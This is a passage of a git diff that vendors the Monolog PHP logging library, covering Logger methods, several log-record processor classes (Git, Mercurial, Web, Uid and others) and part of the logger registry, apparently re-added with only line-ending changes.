function addRecord($level, $message, array $context = array()) + { + if (!$this->handlers) { + $this->pushHandler(new StreamHandler('php://stderr', static::DEBUG)); + } + + $levelName = static::getLevelName($level); + + // check if any handler will handle this message so we can return early and save cycles + $handlerKey = null; + reset($this->handlers); + while ($handler = current($this->handlers)) { + if ($handler->isHandling(array('level' => $level))) { + $handlerKey = key($this->handlers); + break; + } + + next($this->handlers); + } + + if (null === $handlerKey) { + return false; + } + + if (!static::$timezone) { + static::$timezone = new \DateTimeZone(date_default_timezone_get() ?: 'UTC'); + } + + // php7.1+ always has microseconds enabled, so we do not need this hack + if ($this->microsecondTimestamps && PHP_VERSION_ID < 70100) { + $ts = \DateTime::createFromFormat('U.u', sprintf('%.6F', microtime(true)), static::$timezone); + } else { + $ts = new \DateTime('now', static::$timezone); + } + $ts->setTimezone(static::$timezone); + + $record = array( + 'message' => (string) $message, + 'context' => $context, + 'level' => $level, + 'level_name' => $levelName, + 'channel' => $this->name, + 'datetime' => $ts, + 'extra' => array(), + ); + + try { + foreach ($this->processors as $processor) { + $record = call_user_func($processor, $record); + } + + while ($handler = current($this->handlers)) { + if (true === $handler->handle($record)) { + break; + } + + next($this->handlers); + } + } catch (Exception $e) { + $this->handleException($e, $record); + } + + return true; + } + + /** + * Ends a log cycle and frees all resources used by handlers. + * + * Closing a Handler means flushing all buffers and freeing any open resources/handles. + * Handlers that have been closed should be able to accept log records again and re-open + * themselves on demand, but this may not always be possible depending on implementation. + * + * This is useful at the end of a request and will be called automatically on every handler + * when they get destructed. + */ + public function close() + { + foreach ($this->handlers as $handler) { + if (method_exists($handler, 'close')) { + $handler->close(); + } + } + } + + /** + * Ends a log cycle and resets all handlers and processors to their initial state. + * + * Resetting a Handler or a Processor means flushing/cleaning all buffers, resetting internal + * state, and getting it back to a state in which it can receive log records again. + * + * This is useful in case you want to avoid logs leaking between two requests or jobs when you + * have a long running process like a worker or an application server serving multiple requests + * in one process. + */ + public function reset() + { + foreach ($this->handlers as $handler) { + if ($handler instanceof ResettableInterface) { + $handler->reset(); + } + } + + foreach ($this->processors as $processor) { + if ($processor instanceof ResettableInterface) { + $processor->reset(); + } + } + } + + /** + * Adds a log record at the DEBUG level. + * + * @param string $message The log message + * @param array $context The log context + * @return bool Whether the record has been processed + */ + public function addDebug($message, array $context = array()) + { + return $this->addRecord(static::DEBUG, $message, $context); + } + + /** + * Adds a log record at the INFO level. + * + * @param string $message The log message + * @param array $context The log context + * @return bool Whether the record has been processed + */ + public function addInfo($message, array $context = array()) + { + return $this->addRecord(static::INFO, $message, $context); + } + + /** + * Adds a log record at the NOTICE level. + * + * @param string $message The log message + * @param array $context The log context + * @return bool Whether the record has been processed + */ + public function addNotice($message, array $context = array()) + { + return $this->addRecord(static::NOTICE, $message, $context); + } + + /** + * Adds a log record at the WARNING level. + * + * @param string $message The log message + * @param array $context The log context + * @return bool Whether the record has been processed + */ + public function addWarning($message, array $context = array()) + { + return $this->addRecord(static::WARNING, $message, $context); + } + + /** + * Adds a log record at the ERROR level. + * + * @param string $message The log message + * @param array $context The log context + * @return bool Whether the record has been processed + */ + public function addError($message, array $context = array()) + { + return $this->addRecord(static::ERROR, $message, $context); + } + + /** + * Adds a log record at the CRITICAL level. + * + * @param string $message The log message + * @param array $context The log context + * @return bool Whether the record has been processed + */ + public function addCritical($message, array $context = array()) + { + return $this->addRecord(static::CRITICAL, $message, $context); + } + + /** + * Adds a log record at the ALERT level. + * + * @param string $message The log message + * @param array $context The log context + * @return bool Whether the record has been processed + */ + public function addAlert($message, array $context = array()) + { + return $this->addRecord(static::ALERT, $message, $context); + } + + /** + * Adds a log record at the EMERGENCY level. + * + * @param string $message The log message + * @param array $context The log context + * @return bool Whether the record has been processed + */ + public function addEmergency($message, array $context = array()) + { + return $this->addRecord(static::EMERGENCY, $message, $context); + } + + /** + * Gets all supported logging levels. + * + * @return array Assoc array with human-readable level names => level codes. + */ + public static function getLevels() + { + return array_flip(static::$levels); + } + + /** + * Gets the name of the logging level. + * + * @param int $level + * @return string + */ + public static function getLevelName($level) + { + if (!isset(static::$levels[$level])) { + throw new InvalidArgumentException('Level "'.$level.'" is not defined, use one of: '.implode(', ', array_keys(static::$levels))); + } + + return static::$levels[$level]; + } + + /** + * Converts PSR-3 levels to Monolog ones if necessary + * + * @param string|int $level Level number (monolog) or name (PSR-3) + * @return int + */ + public static function toMonologLevel($level) + { + if (is_string($level)) { + // Contains chars of all log levels and avoids using strtoupper() which may have + // strange results depending on locale (for example, "i" will become "İ") + $upper = strtr($level, 'abcdefgilmnortuwy', 'ABCDEFGILMNORTUWY'); + if (defined(__CLASS__.'::'.$upper)) { + return constant(__CLASS__ . '::' . $upper); + } + } + + return $level; + } + + /** + * Checks whether the Logger has a handler that listens on the given level + * + * @param int $level + * @return bool + */ + public function isHandling($level) + { + $record = array( + 'level' => $level, + ); + + foreach ($this->handlers as $handler) { + if ($handler->isHandling($record)) { + return true; + } + } + + return false; + } + + /** + * Set a custom exception handler + * + * @param callable $callback + * @return $this + */ + public function setExceptionHandler($callback) + { + if (!is_callable($callback)) { + throw new \InvalidArgumentException('Exception handler must be valid callable (callback or object with an __invoke method), '.var_export($callback, true).' given'); + } + $this->exceptionHandler = $callback; + + return $this; + } + + /** + * @return callable + */ + public function getExceptionHandler() + { + return $this->exceptionHandler; + } + + /** + * Delegates exception management to the custom exception handler, + * or throws the exception if no custom handler is set. + */ + protected function handleException(Exception $e, array $record) + { + if (!$this->exceptionHandler) { + throw $e; + } + + call_user_func($this->exceptionHandler, $e, $record); + } + + /** + * Adds a log record at an arbitrary level. + * + * This method allows for compatibility with common interfaces. + * + * @param mixed $level The log level + * @param string $message The log message + * @param array $context The log context + * @return bool Whether the record has been processed + */ + public function log($level, $message, array $context = array()) + { + $level = static::toMonologLevel($level); + + return $this->addRecord($level, $message, $context); + } + + /** + * Adds a log record at the DEBUG level. + * + * This method allows for compatibility with common interfaces. + * + * @param string $message The log message + * @param array $context The log context + * @return bool Whether the record has been processed + */ + public function debug($message, array $context = array()) + { + return $this->addRecord(static::DEBUG, $message, $context); + } + + /** + * Adds a log record at the INFO level. + * + * This method allows for compatibility with common interfaces. + * + * @param string $message The log message + * @param array $context The log context + * @return bool Whether the record has been processed + */ + public function info($message, array $context = array()) + { + return $this->addRecord(static::INFO, $message, $context); + } + + /** + * Adds a log record at the NOTICE level. + * + * This method allows for compatibility with common interfaces. + * + * @param string $message The log message + * @param array $context The log context + * @return bool Whether the record has been processed + */ + public function notice($message, array $context = array()) + { + return $this->addRecord(static::NOTICE, $message, $context); + } + + /** + * Adds a log record at the WARNING level. + * + * This method allows for compatibility with common interfaces. + * + * @param string $message The log message + * @param array $context The log context + * @return bool Whether the record has been processed + */ + public function warn($message, array $context = array()) + { + return $this->addRecord(static::WARNING, $message, $context); + } + + /** + * Adds a log record at the WARNING level. + * + * This method allows for compatibility with common interfaces. + * + * @param string $message The log message + * @param array $context The log context + * @return bool Whether the record has been processed + */ + public function warning($message, array $context = array()) + { + return $this->addRecord(static::WARNING, $message, $context); + } + + /** + * Adds a log record at the ERROR level. + * + * This method allows for compatibility with common interfaces. + * + * @param string $message The log message + * @param array $context The log context + * @return bool Whether the record has been processed + */ + public function err($message, array $context = array()) + { + return $this->addRecord(static::ERROR, $message, $context); + } + + /** + * Adds a log record at the ERROR level. + * + * This method allows for compatibility with common interfaces. + * + * @param string $message The log message + * @param array $context The log context + * @return bool Whether the record has been processed + */ + public function error($message, array $context = array()) + { + return $this->addRecord(static::ERROR, $message, $context); + } + + /** + * Adds a log record at the CRITICAL level. + * + * This method allows for compatibility with common interfaces. + * + * @param string $message The log message + * @param array $context The log context + * @return bool Whether the record has been processed + */ + public function crit($message, array $context = array()) + { + return $this->addRecord(static::CRITICAL, $message, $context); + } + + /** + * Adds a log record at the CRITICAL level. + * + * This method allows for compatibility with common interfaces. + * + * @param string $message The log message + * @param array $context The log context + * @return bool Whether the record has been processed + */ + public function critical($message, array $context = array()) + { + return $this->addRecord(static::CRITICAL, $message, $context); + } + + /** + * Adds a log record at the ALERT level. + * + * This method allows for compatibility with common interfaces. + * + * @param string $message The log message + * @param array $context The log context + * @return bool Whether the record has been processed + */ + public function alert($message, array $context = array()) + { + return $this->addRecord(static::ALERT, $message, $context); + } + + /** + * Adds a log record at the EMERGENCY level. + * + * This method allows for compatibility with common interfaces. + * + * @param string $message The log message + * @param array $context The log context + * @return bool Whether the record has been processed + */ + public function emerg($message, array $context = array()) + { + return $this->addRecord(static::EMERGENCY, $message, $context); + } + + /** + * Adds a log record at the EMERGENCY level. + * + * This method allows for compatibility with common interfaces. + * + * @param string $message The log message + * @param array $context The log context + * @return bool Whether the record has been processed + */ + public function emergency($message, array $context = array()) + { + return $this->addRecord(static::EMERGENCY, $message, $context); + } + + /** + * Set the timezone to be used for the timestamp of log records. + * + * This is stored globally for all Logger instances + * + * @param \DateTimeZone $tz Timezone object + */ + public static function setTimezone(\DateTimeZone $tz) + { + self::$timezone = $tz; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Processor/GitProcessor.php b/vendor/monolog/monolog/src/Monolog/Processor/GitProcessor.php new file mode 100644 index 0000000000..cdf5ec7363 --- /dev/null +++ b/vendor/monolog/monolog/src/Monolog/Processor/GitProcessor.php @@ -0,0 +1,64 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Processor; + +use Monolog\Logger; + +/** + * Injects Git branch and Git commit SHA in all records + * + * @author Nick Otter + * @author Jordi Boggiano + */ +class GitProcessor implements ProcessorInterface +{ + private $level; + private static $cache; + + public function __construct($level = Logger::DEBUG) + { + $this->level = Logger::toMonologLevel($level); + } + + /** + * @param array $record + * @return array + */ + public function __invoke(array $record) + { + // return if the level is not high enough + if ($record['level'] < $this->level) { + return $record; + } + + $record['extra']['git'] = self::getGitInfo(); + + return $record; + } + + private static function getGitInfo() + { + if (self::$cache) { + return self::$cache; + } + + $branches = `git branch -v --no-abbrev`; + if ($branches && preg_match('{^\* (.+?)\s+([a-f0-9]{40})(?:\s|$)}m', $branches, $matches)) { + return self::$cache = array( + 'branch' => $matches[1], + 'commit' => $matches[2], + ); + } + + return self::$cache = array(); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Processor/MercurialProcessor.php b/vendor/monolog/monolog/src/Monolog/Processor/MercurialProcessor.php index 3456e93882..2f5b32659e 100644 --- a/vendor/monolog/monolog/src/Monolog/Processor/MercurialProcessor.php +++ b/vendor/monolog/monolog/src/Monolog/Processor/MercurialProcessor.php @@ -1,63 +1,63 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Processor; - -use Monolog\Logger; - -/** - * Injects Hg branch and Hg revision number in all records - * - * @author Jonathan A. Schweder - */ -class MercurialProcessor implements ProcessorInterface -{ - private $level; - private static $cache; - - public function __construct($level = Logger::DEBUG) - { - $this->level = Logger::toMonologLevel($level); - } - - /** - * @param array $record - * @return array - */ - public function __invoke(array $record) - { - // return if the level is not high enough - if ($record['level'] < $this->level) { - return $record; - } - - $record['extra']['hg'] = self::getMercurialInfo(); - - return $record; - } - - private static function getMercurialInfo() - { - if (self::$cache) { - return self::$cache; - } - - $result = explode(' ', trim(`hg id -nb`)); - if (count($result) >= 3) { - return self::$cache = array( - 'branch' => $result[1], - 'revision' => $result[2], - ); - } - - return self::$cache = array(); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Processor; + +use Monolog\Logger; + +/** + * Injects Hg branch and Hg revision number in all records + * + * @author Jonathan A. Schweder + */ +class MercurialProcessor implements ProcessorInterface +{ + private $level; + private static $cache; + + public function __construct($level = Logger::DEBUG) + { + $this->level = Logger::toMonologLevel($level); + } + + /** + * @param array $record + * @return array + */ + public function __invoke(array $record) + { + // return if the level is not high enough + if ($record['level'] < $this->level) { + return $record; + } + + $record['extra']['hg'] = self::getMercurialInfo(); + + return $record; + } + + private static function getMercurialInfo() + { + if (self::$cache) { + return self::$cache; + } + + $result = explode(' ', trim(`hg id -nb`)); + if (count($result) >= 3) { + return self::$cache = array( + 'branch' => $result[1], + 'revision' => $result[2], + ); + } + + return self::$cache = array(); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Processor/ProcessIdProcessor.php b/vendor/monolog/monolog/src/Monolog/Processor/ProcessIdProcessor.php index bc280652b2..66b80fbbd3 100644 --- a/vendor/monolog/monolog/src/Monolog/Processor/ProcessIdProcessor.php +++ b/vendor/monolog/monolog/src/Monolog/Processor/ProcessIdProcessor.php @@ -1,31 +1,31 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Processor; - -/** - * Adds value of getmypid into records - * - * @author Andreas Hörnicke - */ -class ProcessIdProcessor implements ProcessorInterface -{ - /** - * @param array $record - * @return array - */ - public function __invoke(array $record) - { - $record['extra']['process_id'] = getmypid(); - - return $record; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Processor; + +/** + * Adds value of getmypid into records + * + * @author Andreas Hörnicke + */ +class ProcessIdProcessor implements ProcessorInterface +{ + /** + * @param array $record + * @return array + */ + public function __invoke(array $record) + { + $record['extra']['process_id'] = getmypid(); + + return $record; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Processor/ProcessorInterface.php b/vendor/monolog/monolog/src/Monolog/Processor/ProcessorInterface.php index 13ed9ad1c2..7e64d4dfaf 100644 --- a/vendor/monolog/monolog/src/Monolog/Processor/ProcessorInterface.php +++ b/vendor/monolog/monolog/src/Monolog/Processor/ProcessorInterface.php @@ -1,25 +1,25 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Processor; - -/** - * An optional interface to allow labelling Monolog processors. - * - * @author Nicolas Grekas - */ -interface ProcessorInterface -{ - /** - * @return array The processed records - */ - public function __invoke(array $records); -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Processor; + +/** + * An optional interface to allow labelling Monolog processors. + * + * @author Nicolas Grekas + */ +interface ProcessorInterface +{ + /** + * @return array The processed records + */ + public function __invoke(array $records); +} diff --git a/vendor/monolog/monolog/src/Monolog/Processor/PsrLogMessageProcessor.php b/vendor/monolog/monolog/src/Monolog/Processor/PsrLogMessageProcessor.php index 1228ae00cc..a318af7e41 100644 --- a/vendor/monolog/monolog/src/Monolog/Processor/PsrLogMessageProcessor.php +++ b/vendor/monolog/monolog/src/Monolog/Processor/PsrLogMessageProcessor.php @@ -1,81 +1,81 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Processor; - -use Monolog\Utils; - -/** - * Processes a record's message according to PSR-3 rules - * - * It replaces {foo} with the value from $context['foo'] - * - * @author Jordi Boggiano - */ -class PsrLogMessageProcessor implements ProcessorInterface -{ - const SIMPLE_DATE = "Y-m-d\TH:i:s.uP"; - - /** @var string|null */ - private $dateFormat; - - /** @var bool */ - private $removeUsedContextFields; - - /** - * @param string|null $dateFormat The format of the timestamp: one supported by DateTime::format - * @param bool $removeUsedContextFields If set to true the fields interpolated into message gets unset - */ - public function __construct($dateFormat = null, $removeUsedContextFields = false) - { - $this->dateFormat = $dateFormat; - $this->removeUsedContextFields = $removeUsedContextFields; - } - - /** - * @param array $record - * @return array - */ - public function __invoke(array $record) - { - if (false === strpos($record['message'], '{')) { - return $record; - } - - $replacements = array(); - foreach ($record['context'] as $key => $val) { - $placeholder = '{' . $key . '}'; - if (strpos($record['message'], $placeholder) === false) { - continue; - } - - if (is_null($val) || is_scalar($val) || (is_object($val) && method_exists($val, "__toString"))) { - $replacements[$placeholder] = $val; - } elseif ($val instanceof \DateTime) { - $replacements[$placeholder] = $val->format($this->dateFormat ?: static::SIMPLE_DATE); - } elseif (is_object($val)) { - $replacements[$placeholder] = '[object '.Utils::getClass($val).']'; - } elseif (is_array($val)) { - $replacements[$placeholder] = 'array'.Utils::jsonEncode($val, null, true); - } else { - $replacements[$placeholder] = '['.gettype($val).']'; - } - - if ($this->removeUsedContextFields) { - unset($record['context'][$key]); - } - } - - $record['message'] = strtr($record['message'], $replacements); - - return $record; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Processor; + +use Monolog\Utils; + +/** + * Processes a record's message according to PSR-3 rules + * + * It replaces {foo} with the value from $context['foo'] + * + * @author Jordi Boggiano + */ +class PsrLogMessageProcessor implements ProcessorInterface +{ + const SIMPLE_DATE = "Y-m-d\TH:i:s.uP"; + + /** @var string|null */ + private $dateFormat; + + /** @var bool */ + private $removeUsedContextFields; + + /** + * @param string|null $dateFormat The format of the timestamp: one supported by DateTime::format + * @param bool $removeUsedContextFields If set to true the fields interpolated into message gets unset + */ + public function __construct($dateFormat = null, $removeUsedContextFields = false) + { + $this->dateFormat = $dateFormat; + $this->removeUsedContextFields = $removeUsedContextFields; + } + + /** + * @param array $record + * @return array + */ + public function __invoke(array $record) + { + if (false === strpos($record['message'], '{')) { + return $record; + } + + $replacements = array(); + foreach ($record['context'] as $key => $val) { + $placeholder = '{' . $key . '}'; + if (strpos($record['message'], $placeholder) === false) { + continue; + } + + if (is_null($val) || is_scalar($val) || (is_object($val) && method_exists($val, "__toString"))) { + $replacements[$placeholder] = $val; + } elseif ($val instanceof \DateTime) { + $replacements[$placeholder] = $val->format($this->dateFormat ?: static::SIMPLE_DATE); + } elseif (is_object($val)) { + $replacements[$placeholder] = '[object '.Utils::getClass($val).']'; + } elseif (is_array($val)) { + $replacements[$placeholder] = 'array'.Utils::jsonEncode($val, null, true); + } else { + $replacements[$placeholder] = '['.gettype($val).']'; + } + + if ($this->removeUsedContextFields) { + unset($record['context'][$key]); + } + } + + $record['message'] = strtr($record['message'], $replacements); + + return $record; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Processor/TagProcessor.php b/vendor/monolog/monolog/src/Monolog/Processor/TagProcessor.php index 551f8128d9..615a4d9915 100644 --- a/vendor/monolog/monolog/src/Monolog/Processor/TagProcessor.php +++ b/vendor/monolog/monolog/src/Monolog/Processor/TagProcessor.php @@ -1,44 +1,44 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Processor; - -/** - * Adds a tags array into record - * - * @author Martijn Riemers - */ -class TagProcessor implements ProcessorInterface -{ - private $tags; - - public function __construct(array $tags = array()) - { - $this->setTags($tags); - } - - public function addTags(array $tags = array()) - { - $this->tags = array_merge($this->tags, $tags); - } - - public function setTags(array $tags = array()) - { - $this->tags = $tags; - } - - public function __invoke(array $record) - { - $record['extra']['tags'] = $this->tags; - - return $record; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Processor; + +/** + * Adds a tags array into record + * + * @author Martijn Riemers + */ +class TagProcessor implements ProcessorInterface +{ + private $tags; + + public function __construct(array $tags = array()) + { + $this->setTags($tags); + } + + public function addTags(array $tags = array()) + { + $this->tags = array_merge($this->tags, $tags); + } + + public function setTags(array $tags = array()) + { + $this->tags = $tags; + } + + public function __invoke(array $record) + { + $record['extra']['tags'] = $this->tags; + + return $record; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Processor/UidProcessor.php b/vendor/monolog/monolog/src/Monolog/Processor/UidProcessor.php index 300674f02b..d1f708cf2d 100644 --- a/vendor/monolog/monolog/src/Monolog/Processor/UidProcessor.php +++ b/vendor/monolog/monolog/src/Monolog/Processor/UidProcessor.php @@ -1,59 +1,59 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Processor; - -use Monolog\ResettableInterface; - -/** - * Adds a unique identifier into records - * - * @author Simon Mönch - */ -class UidProcessor implements ProcessorInterface, ResettableInterface -{ - private $uid; - - public function __construct($length = 7) - { - if (!is_int($length) || $length > 32 || $length < 1) { - throw new \InvalidArgumentException('The uid length must be an integer between 1 and 32'); - } - - - $this->uid = $this->generateUid($length); - } - - public function __invoke(array $record) - { - $record['extra']['uid'] = $this->uid; - - return $record; - } - - /** - * @return string - */ - public function getUid() - { - return $this->uid; - } - - public function reset() - { - $this->uid = $this->generateUid(strlen($this->uid)); - } - - private function generateUid($length) - { - return substr(hash('md5', uniqid('', true)), 0, $length); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Processor; + +use Monolog\ResettableInterface; + +/** + * Adds a unique identifier into records + * + * @author Simon Mönch + */ +class UidProcessor implements ProcessorInterface, ResettableInterface +{ + private $uid; + + public function __construct($length = 7) + { + if (!is_int($length) || $length > 32 || $length < 1) { + throw new \InvalidArgumentException('The uid length must be an integer between 1 and 32'); + } + + + $this->uid = $this->generateUid($length); + } + + public function __invoke(array $record) + { + $record['extra']['uid'] = $this->uid; + + return $record; + } + + /** + * @return string + */ + public function getUid() + { + return $this->uid; + } + + public function reset() + { + $this->uid = $this->generateUid(strlen($this->uid)); + } + + private function generateUid($length) + { + return substr(hash('md5', uniqid('', true)), 0, $length); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Processor/WebProcessor.php b/vendor/monolog/monolog/src/Monolog/Processor/WebProcessor.php index 99f12a5f88..2e8dfae1b4 100644 --- a/vendor/monolog/monolog/src/Monolog/Processor/WebProcessor.php +++ b/vendor/monolog/monolog/src/Monolog/Processor/WebProcessor.php @@ -1,113 +1,113 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Processor; - -/** - * Injects url/method and remote IP of the current web request in all records - * - * @author Jordi Boggiano - */ -class WebProcessor implements ProcessorInterface -{ - /** - * @var array|\ArrayAccess - */ - protected $serverData; - - /** - * Default fields - * - * Array is structured as [key in record.extra => key in $serverData] - * - * @var array - */ - protected $extraFields = array( - 'url' => 'REQUEST_URI', - 'ip' => 'REMOTE_ADDR', - 'http_method' => 'REQUEST_METHOD', - 'server' => 'SERVER_NAME', - 'referrer' => 'HTTP_REFERER', - ); - - /** - * @param array|\ArrayAccess $serverData Array or object w/ ArrayAccess that provides access to the $_SERVER data - * @param array|null $extraFields Field names and the related key inside $serverData to be added. If not provided it defaults to: url, ip, http_method, server, referrer - */ - public function __construct($serverData = null, array $extraFields = null) - { - if (null === $serverData) { - $this->serverData = &$_SERVER; - } elseif (is_array($serverData) || $serverData instanceof \ArrayAccess) { - $this->serverData = $serverData; - } else { - throw new \UnexpectedValueException('$serverData must be an array or object implementing ArrayAccess.'); - } - - if (isset($this->serverData['UNIQUE_ID'])) { - $this->extraFields['unique_id'] = 'UNIQUE_ID'; - } - - if (null !== $extraFields) { - if (isset($extraFields[0])) { - foreach (array_keys($this->extraFields) as $fieldName) { - if (!in_array($fieldName, $extraFields)) { - unset($this->extraFields[$fieldName]); - } - } - } else { - $this->extraFields = $extraFields; - } - } - } - - /** - * @param array $record - * @return array - */ - public function __invoke(array $record) - { - // skip processing if for some reason request data - // is not present (CLI or wonky SAPIs) - if (!isset($this->serverData['REQUEST_URI'])) { - return $record; - } - - $record['extra'] = $this->appendExtraFields($record['extra']); - - return $record; - } - - /** - * @param string $extraName - * @param string $serverName - * @return $this - */ - public function addExtraField($extraName, $serverName) - { - $this->extraFields[$extraName] = $serverName; - - return $this; - } - - /** - * @param array $extra - * @return array - */ - private function appendExtraFields(array $extra) - { - foreach ($this->extraFields as $extraName => $serverName) { - $extra[$extraName] = isset($this->serverData[$serverName]) ? $this->serverData[$serverName] : null; - } - - return $extra; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Processor; + +/** + * Injects url/method and remote IP of the current web request in all records + * + * @author Jordi Boggiano + */ +class WebProcessor implements ProcessorInterface +{ + /** + * @var array|\ArrayAccess + */ + protected $serverData; + + /** + * Default fields + * + * Array is structured as [key in record.extra => key in $serverData] + * + * @var array + */ + protected $extraFields = array( + 'url' => 'REQUEST_URI', + 'ip' => 'REMOTE_ADDR', + 'http_method' => 'REQUEST_METHOD', + 'server' => 'SERVER_NAME', + 'referrer' => 'HTTP_REFERER', + ); + + /** + * @param array|\ArrayAccess $serverData Array or object w/ ArrayAccess that provides access to the $_SERVER data + * @param array|null $extraFields Field names and the related key inside $serverData to be added. If not provided it defaults to: url, ip, http_method, server, referrer + */ + public function __construct($serverData = null, array $extraFields = null) + { + if (null === $serverData) { + $this->serverData = &$_SERVER; + } elseif (is_array($serverData) || $serverData instanceof \ArrayAccess) { + $this->serverData = $serverData; + } else { + throw new \UnexpectedValueException('$serverData must be an array or object implementing ArrayAccess.'); + } + + if (isset($this->serverData['UNIQUE_ID'])) { + $this->extraFields['unique_id'] = 'UNIQUE_ID'; + } + + if (null !== $extraFields) { + if (isset($extraFields[0])) { + foreach (array_keys($this->extraFields) as $fieldName) { + if (!in_array($fieldName, $extraFields)) { + unset($this->extraFields[$fieldName]); + } + } + } else { + $this->extraFields = $extraFields; + } + } + } + + /** + * @param array $record + * @return array + */ + public function __invoke(array $record) + { + // skip processing if for some reason request data + // is not present (CLI or wonky SAPIs) + if (!isset($this->serverData['REQUEST_URI'])) { + return $record; + } + + $record['extra'] = $this->appendExtraFields($record['extra']); + + return $record; + } + + /** + * @param string $extraName + * @param string $serverName + * @return $this + */ + public function addExtraField($extraName, $serverName) + { + $this->extraFields[$extraName] = $serverName; + + return $this; + } + + /** + * @param array $extra + * @return array + */ + private function appendExtraFields(array $extra) + { + foreach ($this->extraFields as $extraName => $serverName) { + $extra[$extraName] = isset($this->serverData[$serverName]) ? $this->serverData[$serverName] : null; + } + + return $extra; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Registry.php b/vendor/monolog/monolog/src/Monolog/Registry.php index 27acd44a33..159b751cdb 100644 --- a/vendor/monolog/monolog/src/Monolog/Registry.php +++ b/vendor/monolog/monolog/src/Monolog/Registry.php @@ -1,134 +1,134 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog; - -use InvalidArgumentException; - -/** - * Monolog log registry - * - * Allows to get `Logger` instances in the global scope - * via static method calls on this class. - * - * - * $application = new Monolog\Logger('application'); - * $api = new Monolog\Logger('api'); - * - * Monolog\Registry::addLogger($application); - * Monolog\Registry::addLogger($api); - * - * function testLogger() - * { - * Monolog\Registry::api()->addError('Sent to $api Logger instance'); - * Monolog\Registry::application()->addError('Sent to $application Logger instance'); - * } - * - * - * @author Tomas Tatarko - */ -class Registry -{ - /** - * List of all loggers in the registry (by named indexes) - * - * @var Logger[] - */ - private static $loggers = array(); - - /** - * Adds new logging channel to the registry - * - * @param Logger $logger Instance of the logging channel - * @param string|null $name Name of the logging channel ($logger->getName() by default) - * @param bool $overwrite Overwrite instance in the registry if the given name already exists? - * @throws \InvalidArgumentException If $overwrite set to false and named Logger instance already exists - */ - public static function addLogger(Logger $logger, $name = null, $overwrite = false) - { - $name = $name ?: $logger->getName(); - - if (isset(self::$loggers[$name]) && !$overwrite) { - throw new InvalidArgumentException('Logger with the given name already exists'); - } - - self::$loggers[$name] = $logger; - } - - /** - * Checks if such logging channel exists by name or instance - * - * @param string|Logger $logger Name or logger instance - */ - public static function hasLogger($logger) - { - if ($logger instanceof Logger) { - $index = array_search($logger, self::$loggers, true); - - return false !== $index; - } else { - return isset(self::$loggers[$logger]); - } - } - - /** - * Removes instance from registry by name or instance - * - * @param string|Logger $logger Name or logger instance - */ - public static function removeLogger($logger) - { - if ($logger instanceof Logger) { - if (false !== ($idx = array_search($logger, self::$loggers, true))) { - unset(self::$loggers[$idx]); - } - } else { - unset(self::$loggers[$logger]); - } - } - - /** - * Clears the registry - */ - public static function clear() - { - self::$loggers = array(); - } - - /** - * Gets Logger instance from the registry - * - * @param string $name Name of the requested Logger instance - * @throws \InvalidArgumentException If named Logger instance is not in the registry - * @return Logger Requested instance of Logger - */ - public static function getInstance($name) - { - if (!isset(self::$loggers[$name])) { - throw new InvalidArgumentException(sprintf('Requested "%s" logger instance is not in the registry', $name)); - } - - return self::$loggers[$name]; - } - - /** - * Gets Logger instance from the registry via static method call - * - * @param string $name Name of the requested Logger instance - * @param array $arguments Arguments passed to static method call - * @throws \InvalidArgumentException If named Logger instance is not in the registry - * @return Logger Requested instance of Logger - */ - public static function __callStatic($name, $arguments) - { - return self::getInstance($name); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog; + +use InvalidArgumentException; + +/** + * Monolog log registry + * + * Allows to get `Logger` instances in the global scope + * via static method calls on this class. + * + * + * $application = new Monolog\Logger('application'); + * $api = new Monolog\Logger('api'); + * + * Monolog\Registry::addLogger($application); + * Monolog\Registry::addLogger($api); + * + * function testLogger() + * { + * Monolog\Registry::api()->addError('Sent to $api Logger instance'); + * Monolog\Registry::application()->addError('Sent to $application Logger instance'); + * } + * + * + * @author Tomas Tatarko + */ +class Registry +{ + /** + * List of all loggers in the registry (by named indexes) + * + * @var Logger[] + */ + private static $loggers = array(); + + /** + * Adds new logging channel to the registry + * + * @param Logger $logger Instance of the logging channel + * @param string|null $name Name of the logging channel ($logger->getName() by default) + * @param bool $overwrite Overwrite instance in the registry if the given name already exists? + * @throws \InvalidArgumentException If $overwrite set to false and named Logger instance already exists + */ + public static function addLogger(Logger $logger, $name = null, $overwrite = false) + { + $name = $name ?: $logger->getName(); + + if (isset(self::$loggers[$name]) && !$overwrite) { + throw new InvalidArgumentException('Logger with the given name already exists'); + } + + self::$loggers[$name] = $logger; + } + + /** + * Checks if such logging channel exists by name or instance + * + * @param string|Logger $logger Name or logger instance + */ + public static function hasLogger($logger) + { + if ($logger instanceof Logger) { + $index = 